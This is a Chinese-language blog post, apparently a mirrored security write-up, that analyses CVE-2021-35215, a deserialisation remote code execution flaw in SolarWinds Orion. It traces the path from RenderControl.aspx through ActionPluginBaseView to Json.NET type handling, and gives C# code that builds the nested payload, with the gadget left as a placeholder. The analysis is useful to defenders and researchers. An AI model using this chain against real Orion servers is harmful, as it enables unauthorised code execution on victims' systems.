CVE-2021-35215 SolarWinds ActionPluginBaseView RCE
2021-10-23 09:25:5 Author: y4er.com(查看原文) 阅读量:17 收藏

卷死老外

原文分析:https://testbnull.medium.com/50-shades-of-solarwinds-orion-deserialization-part-1-cve-2021-35215-2e5764e0e4f2

原文讲的很清楚了,我这里大概记一下。看懂可能需要一些dotnet反序列化的基础知识,移步 https://github.com/Y4er/dotnet-deserialization

C:\InetPub\SolarWinds\Orion\RenderControl.aspx.cs OnInit()中加载控件,其中ctrl变量从请求中获取,可控。

1.png

controlToRender = LoadControl(ctrl);之后将controlToRender传递给ApplyPropertiesAndAttributes()

2.png

方法签名要求controlToRender是一个System.Web.UI.Control类型的控件。

然后346-352行是从JsonData中获取赋值给控件实例字段的名称和值,通过PropertySetter.SetProperties()进行反射赋值。JsonData是init的时候通过JavaScriptSerializer从http请求中反序列化回来的Dictionary<string, object>键值对,可控。

那么现在我们可以调用控件类的setter,所以找控件类。

然后找到了SolarWinds.Orion.Web.Actions.ActionPluginBaseView这个类

3.png

它这个setter调用了ParseViewContext(),跟进发现用了json.net的TypeNameHandling.Objects

4.png

并且JsonConvert.DeserializeObject<AlertingActionContext>(this.ViewContextJsonString, settings);中,AlertingActionContext这个类继承ActionContextBase类。

5.png

该类有个MacroContext类型的字段,而MacroContext类型里有个字段是ContextBase类型的List。

6.png

ContextBase是一个抽象类。

7.png

根据其KnownType知道可以往List中放SwisEntityContext类型的对象,而SwisEntityContext类中有一个字段是PropertyBag类型

8.png

该字段可以存放Object类型的对象

9.png

所以我们的gadget可以放在这里,造成RCE。

Github:https://github.com/Y4er/CVE-2021-35215

代码参考

 1using System;
 2using System.Collections.Generic;
 3using System.IO;
 4using Newtonsoft.Json;
 5using SolarWinds.InformationService.Contract2;
 6using SolarWinds.Orion.Core.Models.Actions.Contexts;
 7using SolarWinds.Orion.Core.Models.MacroParsing;
 8
 9namespace ConsoleApp1
10{
11    class Program
12    {
13        static void Main(string[] args)
14        {
15            var alertingActionContext = new AlertingActionContext();
16            var macroContext = new MacroContext();
17            var swisEntityContext = new SwisEntityContext();
18            var dictionary = new Dictionary<string, Object>();
19            dictionary["1"] = new Object(); // replace here with SessionSecurityToken gadget
20            var propertyBag = new PropertyBag(dictionary);
21            swisEntityContext.EntityProperties = propertyBag;
22            macroContext.Add(swisEntityContext);
23
24            alertingActionContext.MacroContext = macroContext;
25            JsonSerializerSettings settings = new JsonSerializerSettings
26            {
27                TypeNameHandling = TypeNameHandling.Objects
28            };
29            var serializeObject = JsonConvert.SerializeObject(alertingActionContext, settings);
30            Console.WriteLine(serializeObject);
31            var streamWriter =
32                new StreamWriter(@"C:\Users\admin\Desktop\my\code\netcore\ConsoleApp1\ConsoleApp1\poc.json");
33            // serializeObject = serializeObject.Replace("\"", "\\\"");
34            streamWriter.Write(serializeObject);
35            streamWriter.Close();
36        }
37    }
38}

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


文章来源: https://y4er.com/posts/cve-2021-35215-solarwinds-orion-platform-actionpluginbaseview-rce/
如有侵权请联系:admin#unsafe.sh